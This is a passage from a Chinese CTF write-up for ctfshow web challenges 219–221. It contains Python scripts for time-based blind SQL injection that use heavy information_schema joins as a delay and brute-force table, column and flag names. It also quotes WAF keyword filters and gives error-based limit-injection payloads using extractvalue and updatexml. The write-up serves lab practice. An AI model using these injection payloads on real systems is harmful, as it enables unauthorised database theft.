payload = "if((select flagaac from ctfshow_flagxc) regexp '{}', (select count(*) from information_schema.schemata, information_schema.columns A, information_schema.columns B), 1)"

while True:
for char in ascii_lowercase + digits + '-}':
start = time()
post(url, {'ip': payload.format(flag + char), 'debug': '1'})
end = time()
if end - start > 2:
flag += char
print(flag)
if char == '}':
exit()
break

Web219

查询语句

1
where id = ($id);

返回逻辑

1
2
3
4
//屏蔽危险分子
function waf($str){
return preg_match('/sleep|benchmark|rlike/i',$str);
}

过滤sleep|benchmark|rlike

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# from time import time
# from requests import post
# from string import ascii_lowercase, digits
#
# url = 'http://ba891fb6-5d6c-4a1c-b367-492df5340483.challenge.ctf.show/api/'
# db_name = '' # 用于存储数据库名
# charset = ascii_lowercase + digits + '_-{}' # 数据库名常用字符集
# position = 1 # 当前爆破的字符位置
#
# # payload
# # payload_template = "if(substr(database(),{pos},1)='{char}',(select count(*) from information_schema.columns A, information_schema.columns B, information_schema.schemata),0)" #爆破数据库
#
# # payload_template = "if(substr((select table_name from information_schema.tables where table_schema = database() limit 0, 1), {pos}, 1) = '{char}', (select count(*) from information_schema.columns A, information_schema.columns B, information_schema.schemata), 1)" #爆破表名
#
# payload_template = "if(substr((select column_name from information_schema.columns where table_schema = database() and table_name = 'ctfshow_flagxca' limit 1, 1), {pos}, 1) = '{char}', (select count(*) from information_schema.columns A, information_schema.columns B, information_schema.schemata), 1)" #爆破列名
#
# while True:
# found = False
# for char in charset:
# # 动态生成payload
# payload = payload_template.format(pos=position, char=char)
#
# # 发送请求并计算响应时间
# start = time()
# post(url, data={'ip': payload, 'debug': '1'})
# end = time()
#
# # 判断延迟是否超过阈值
# if end - start > 2:
# db_name += char
# print(f"当前数据库/表/列名/flag为: {db_name}")
# position += 1
# found = True
# break
#
# # 如果遍历完字符集仍未找到匹配字符,结束爆破
# if not found:
# print(f"\n最终数据库/表/列名/flag为: {db_name}")
# break


from requests import post
from string import ascii_lowercase, digits
from time import time

url = 'http://ba891fb6-5d6c-4a1c-b367-492df5340483.challenge.ctf.show/api/'
flag = 'ctfshow{'
payload = "if((select flagaabc from ctfshow_flagxca) regexp '{}', (select count(*) from information_schema.schemata, information_schema.columns A, information_schema.columns B), 1)"

while True:
for char in ascii_lowercase + digits + '-}':
start = time()
post(url, {'ip': payload.format(flag + char), 'debug': '1'})
end = time()
if end - start > 2:
flag += char
print(flag)
if char == '}':
exit()
break

Web220

查询语句

1
where id = ($id);

返回逻辑

1
2
3
4
//屏蔽危险分子
function waf($str){
return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);
}

过滤

sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr


Web221

查询语句

1
2
//分页查询
$sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;

limit 注入 版本限制(5.0.0-5.6.6)

1
2
3
4
5
6
extractvalue(目标xml文档,xml路径):对XML文档进行查询的函数
/api/?page=1&limit=7 procedure analyse(extractvalue(1,concat(666,database(),666)),1)

updatexml(目标xml文档,xml路径,更新的内容):更新xml文档的函数
/api/?page=1&limit=7 procedure analyse(updatexml(1,concat(0x7e,database(),0x7e),1),1)